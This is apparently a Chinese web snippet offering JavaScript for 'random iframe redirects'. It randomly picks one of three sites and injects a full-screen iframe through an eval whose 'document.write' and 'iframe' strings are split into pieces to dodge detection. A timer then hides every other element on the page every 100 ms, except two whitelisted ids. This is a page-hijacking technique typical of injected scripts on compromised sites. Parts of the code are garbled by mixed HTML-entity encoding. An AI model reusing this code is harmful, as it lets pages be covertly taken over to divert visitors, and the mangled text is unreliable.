随机iframe框架跳转的js代码

随机iframe框架跳转的js代码

var m = 3;//几个事件
var n = Math.floor(Math.random() * m + 1); //随机选取事件
switch (n) {
case 1://事件一:iframe框架跳转

a = 'http://www.baidu.com';
var ss = &#39;<div>&lt;ifr&#39; + &#39;ame scrolling=&#34;yes&#34; marginheight=0 marginwidth=0  frameborder=&#34;0&#34; width=&#34;100%&#34; width=&#34;14&#39; + &#39;00&#34; height=&#34;100%&#34; src=&#34;http://www.baidu.com&#34;&gt;</div>html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}&#39;;
eval(&#34;do&#34; + &#34;cu&#34; + &#34;ment.wr&#34; + &#34;ite(&#39;&#34; + ss + &#34;&#39;);&#34;);
try {
    setInterval(function() {
        try {
            document.getElementById(&#34;div&#34; + &#34;All&#34;).style.display = &#34;no&#34; + &#34;ne&#34;
        } catch(e) {}
        for (var i = 0; i &lt; document.body.children.length; i++) {
            try {
                var a = document.body.children[i].tagName;
                var b = document.body.children[i].id;
                if (b != &#34;iconDiv1&#34; &amp;&amp; b != &#34;showcloneshengxiaon&#34;) {
                    document.body.children[i].style.display = &#34;non&#34; + &#34;e&#34;
                }
            } catch(e) {}
        }
    },
    100)
} catch(e) {}
break;

case 2://事件二:iframe框架跳转

a = &#39;http://www.sougou.com&#39;;
var ss = &#39;<div>&lt;ifr&#39; + &#39;ame scrolling=&#34;yes&#34; marginheight=0 marginwidth=0  frameborder=&#34;0&#34; width=&#34;100%&#34; width=&#34;14&#39; + &#39;00&#34; height=&#34;100%&#34; src=&#34;http://www.sougou.com&#34;&gt;</div>html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}&#39;;
eval(&#34;do&#34; + &#34;cu&#34; + &#34;ment.wr&#34; + &#34;ite(&#39;&#34; + ss + &#34;&#39;);&#34;);
try {
    setInterval(function() {
        try {
            document.getElementById(&#34;div&#34; + &#34;All&#34;).style.display = &#34;no&#34; + &#34;ne&#34;
        } catch(e) {}
        for (var i = 0; i &lt; document.body.children.length; i++) {
            try {
                var a = document.body.children[i].tagName;
                var b = document.body.children[i].id;
                if (b != &#34;iconDiv1&#34; &amp;&amp; b != &#34;showcloneshengxiaon&#34;) {
                    document.body.children[i].style.display = &#34;non&#34; + &#34;e&#34;
                }
            } catch(e) {}
        }
    },
    100)
} catch(e) {}
break;

case 3://事件三:iframe框架跳转

a = &#39;http://www.360.com&#39;;
var ss = &#39;<div>&lt;ifr&#39; + &#39;ame scrolling=&#34;yes&#34; marginheight=0 marginwidth=0  frameborder=&#34;0&#34; width=&#34;100%&#34; width=&#34;14&#39; + &#39;00&#34; height=&#34;100%&#34; src=&#34;http://www.360.com&#34;&gt;</div>html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}&#39;;
eval(&#34;do&#34; + &#34;cu&#34; + &#34;ment.wr&#34; + &#34;ite(&#39;&#34; + ss + &#34;&#39;);&#34;);
try {
    setInterval(function() {
        try {
            document.getElementById(&#34;div&#34; + &#34;All&#34;).style.display = &#34;no&#34; + &#34;ne&#34;
        } catch(e) {}
        for (var i = 0; i &lt; document.body.children.length; i++) {
            try {
                var a = document.body.children[i].tagName;
                var b = document.body.children[i].id;
                if (b != &#34;iconDiv1&#34; &amp;&amp; b != &#34;showcloneshengxiaon&#34;) {
                    document.body.children[i].style.display = &#34;non&#34; + &#34;e&#34;
                }
            } catch(e) {}
        }
    },
    100)
} catch(e) {}
break;

}